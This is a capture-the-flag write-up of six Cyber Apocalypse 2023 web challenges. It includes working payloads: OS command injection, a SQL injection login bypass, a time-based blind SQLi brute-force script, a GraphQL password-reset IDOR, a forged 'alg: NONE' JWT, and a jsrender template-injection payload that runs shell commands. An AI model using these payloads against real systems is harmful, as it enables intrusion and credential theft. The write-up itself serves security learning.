# Writeup CTF Cyber Apocalypse 2023 - The Cursed Mission | Category | Challenge Name | Difficulty | | -------- | -------------- | ---------- | | Web | Trapped Source | Very Easy | | Web | Gunhead | Very Easy | | Web | Drobots | Very Easy | | Web | Passman | Easy | | Web | Orbital | Easy | | Web | Didactic Octo Paddles | Medium | ## Trapped Source ### Exploit: ![](https://i.imgur.com/M4EVDBs.png) View source code, then i got correct pass `8291` ![](https://i.imgur.com/86CdyJs.png) ![](https://i.imgur.com/Lem4evm.png) ## Trapped Source ### Review: ![](https://i.imgur.com/gsIVHkM.png) The site has some features, especially the command ![](https://i.imgur.com/b7DTCEI.png) ![](https://i.imgur.com/hrLXUhr.png) ### Exploit: The above code does ping to an ip address, there is no filter so it is easy to insert [OS COMMAND INJECTION](https://portswigger.net/web-security/os-command-injection) ![](https://i.imgur.com/JoB7eu8.png) Input `/ping 127.0.0.1 || ls - la /` Then cat file flag `/ping 127.0.0.1 || cat /flag.txt` ![](https://i.imgur.com/r1blUcH.png) ## Drobots ### Review: ![](https://i.imgur.com/jO4qnF7.png) The website only displays the login function ```python @web.route('/') def signIn(): return render_template('login.html') @web.route('/logout') def logout(): session['auth'] = None return redirect('/') @web.route('/home') @isAuthenticated def home(): return render_template('home.html', flag=flag) @api.route('/login', methods=['POST']) def apiLogin(): if not request.is_json: return response('Invalid JSON!'), 400 data = request.get_json() username = data.get('username', '') password = data.get('password', '') if not username or not password: return response('All fields are required!'), 401 user = login(username, password) if user: session['auth'] = user return response('Success'), 200 return response('Invalid credentials!'), 403 ``` After entering username and password, the code will execute login function ```python= def login(username, password): # We should update our code base and use techniques like parameterization to avoid SQL Injection user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True) if user: token = createJWT(username) return token else: return False ``` In the entrypoint file, you can see that an username `admin` has already been added. Then how to be able to login. And take the flag ![](https://i.imgur.com/OeQwzgA.png) ### Exploit: For example, if the input is as follows: username = "admin", password = "1" `user = query_db(f'SELECT password FROM users WHERE username = "admin" AND password = "1" ', one=True)` My idea is to add the sql comment to the part after the username, then the password parameter will be disabled (no effect) username = `admin" -- ` ![](https://i.imgur.com/SHeixlC.png) ![](https://i.imgur.com/v7VPcrc.png) ## Passman ### Review: ![](https://i.imgur.com/iKGCHid.png) The website has two functions: login and register. First, I will try with the registration function (as a normal user), because after reviewing the source code, login cannot be exploited by SQL injection. ![](https://i.imgur.com/vhlZoID.png) After logging in, there is an additional function called 'Add Phrase'. Let's try using it. ![](https://i.imgur.com/fXOyiNC.png) ![](https://i.imgur.com/0W1Ozqt.png) Okay, let's take note of this function's API, and then review the source code to see what can be exploited. ![](https://i.imgur.com/2yk00r8.png) ![](https://i.imgur.com/08RuZZM.png) In the GraphqlHelper.js file, we will see how the Add Phrase function works (retrieving parameters and sending a response). And there are also some other functions that do not have a display function on the website. ![](https://i.imgur.com/l7yjScH.png) Another interesting feature is 'Updatepassword'. Can I do anything with it? :D Then let's try using it to change the password of my account. ![](https://i.imgur.com/D1p48G2.png) ![](https://i.imgur.com/NRsJoQp.png) Ohhhh, so can I change the password of the admin account too? :v It would be insane to brute force a 32-character password :)) ![](https://i.imgur.com/e0Whkep.png) Okay, so it's successful, an IDOR vulnerability to change the password without being verified. ``` { "query": "mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password){ message } }", "variables": { "username": "admin", "password": "123" } } ``` Then, login username admin and password = 123 ![](https://i.imgur.com/kiVcYbr.png) ## Orbital ### Review: ![](https://i.imgur.com/ltaCjzu.png) The website only shows one function, which is login ```python= @api.route('/login', methods=['POST']) def apiLogin(): if not request.is_json: return response('Invalid JSON!'), 400 data = request.get_json() username = data.get('username', '') password = data.get('password', '') if not username or not password: return response('All fields are required!'), 401 user = login(username, password) if user: session['auth'] = user return response('Success'), 200 ``` And login function: ```python= def login(username, password): # I don't think it's not possible to bypass login because I'm verifying the password later. user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True) if user: passwordCheck = passwordVerify(user['password'], password) if passwordCheck: token = createJWT(user['username']) return token else: return False ``` passwordVerify: ```python= def passwordVerify(hashPassword, password): md5Hash = hashlib.md5(password.encode()) if md5Hash.hexdigest() == hashPassword: return True else: return False ``` With this chall,it's slightly different from the previous one. When we input a correct (existing) username, then will the password be checked. Verifypass function, I don't think it can be bypassed. And I'm thinking of another direction. The way the query is written above can still be exploited by SQLi (SQL blind). Because it doesn't return the text "True" or "False" in the response header, so we will exploit it using Time-Based SQLi. ![](https://i.imgur.com/DdKNpGN.png) ### Exploit: Ok, so now that we have determined that Time-Based SQLi is correct, we will exploit it to retrieve the password. ![](https://i.imgur.com/wN1PX4n.png) The password is generated with 32 characters in hexadecimal format. ```python= import requests import time import string url = "http://link-chall/api/login" string = string.hexdigits ######## For test injection # data = {"username":"admin\" and IF(SUBSTR(username,1,1)=\"b\",SLEEP(3),SLEEP(0)) -- ", "password":"onsra"} # time_start = time.time() # r = requests.post(url, json = data) # time_end = time.time() # time_taken = time_end - time_start # print(time_taken) # print(r.text) ######## Exploit flag = "" for i in range(1,33): for j in string: print(j, end="\r") data = {"username":f"admin\" and IF(SUBSTR(password,{i},1)=\"{j}\",SLEEP(2),SLEEP(0)) -- ", "password":"onsra"} time_start = time.time() r = requests.post(url, json = data) time_end = time.time() time_taken = time_end - time_start if time_taken > 2: flag += j print(flag) break # 1692b753c031f2905b89e7258dbc49bb = ichliebedich ``` After running the brute-force script, we will receive the password in its MD5 hashed form. However, it's just a common word in the wordlist, and I have already cracked it. `1692b753c031f2905b89e7258dbc49bb = ichliebedich` After obtaining the admin's password, we will log in to the inside. ![](https://i.imgur.com/RqEe8UB.png) ```python= def getCommunication(): return query('SELECT * from communication') @web.route('/home') @isAuthenticated def home(): allCommunication = getCommunication() return render_template('home.html', allCommunication=allCommunication) ``` And we have an export feature written in code as follows: ![](https://i.imgur.com/5Vsds09.png) Path traversal exploit? ![](https://i.imgur.com/auQEZJm.png) Whyyyy? Why is it not allowed? :v ![](https://i.imgur.com/Ih22dym.png) In dockerfile :D And ... ![](https://i.imgur.com/bAtfIDn.png) ## Didactic Octo Paddles ### Review: After reading through the source code, there are some web entry points as follows: - register - login - cart - add-to-cart/:item - remove-from-cart/:item - admin And ```javascript= router.get("/", AuthMiddleware, async (req, res) => { try { const products = await db.Products.findAll(); res.render("index", { products: products }); } catch (error) { console.error(error); res.status(500).send("Something went wrong!"); } }); ``` After we register an account, we will receive a JWT (JSON Web Token). ![](https://i.imgur.com/40ovcYN.png) As there is an admin entrypoint, it is necessary to authenticate that the token is an admin. The question is whether we can crack the JWT to execute it. This is the code for token authentication. (AdminMiddleware.js file) ![](https://i.imgur.com/PJSLjln.png) Line 13, alg only checks for == "none", meaning we can inject other methods such as NoNE, NONE, ... Let's try it out. ![](https://i.imgur.com/xg30LXa.png) Change alg = NONE, id = 1 , and delete payload ex: `eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5NDAyMTU3LCJleHAiOjE2Nzk0MDU3NTd9.` ![](https://i.imgur.com/wZLRFRi.png) ![](https://i.imgur.com/XrjSXsR.png) On the /admin page, all the usernames will be listed, note that jsrender is used. Hmmmm, have you thought about Node.js SSTI?[](https://appcheck-ng.com/template-injection-jsrender-jsviews) Ok, let's try it! ![](https://i.imgur.com/4XN0sGz.png) As the list of usernames will be displayed, let's register another account and test SSTI. ![](https://i.imgur.com/f3Hkpe1.png) ``` {"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"a"} ``` The next step is just to cat the flag file. It's simple. ![](https://i.imgur.com/c0yOPlG.png) ![](https://i.imgur.com/pY85rCL.png)